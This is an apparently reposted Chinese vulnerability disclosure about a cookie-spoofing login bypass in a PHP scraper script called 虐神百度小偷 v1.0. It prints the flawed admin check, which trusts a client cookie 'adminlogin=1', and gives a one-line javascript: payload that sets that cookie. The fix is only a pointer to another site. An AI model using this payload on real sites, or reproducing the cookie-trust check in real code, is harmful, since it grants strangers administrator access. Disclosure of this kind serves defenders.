网站地图    收藏   

主页 > 后端 > 网站安全 >

虐神百度小偷v1.0 cookie欺骗及修复 - 网站安全 -

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] Team:t00ls Author: wming79虐神百度小偷v1.0 cookie欺骗本想发布歪酷CMS漏洞怎么知道cond0r抢先发布了,为了版主他真的豁出去了! 在这里祝他成功!此洞有点2... 毕竟是洞~ 让作者知道下也好.?phpif...

Team:t00ls  Author: wming79
虐神百度小偷v1.0 cookie欺骗

本想发布歪酷CMS漏洞
怎么知道cond0r抢先发布了,为了版主他真的豁出去了! 在这里祝他成功!

此洞有点2... 毕竟是洞~ 让作者知道下也好.
<?php
if(isset($_COOKIE['adminlogin']) && $_COOKIE['adminlogin']=="1")//你懂的...
  Header("Location: main.php");
else
  Header("Location: login.php");
?>
javascript:alert(document.cookie="adminlogin="+escape("1"));

修复:参加本站www.2cto.com以前文章

 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论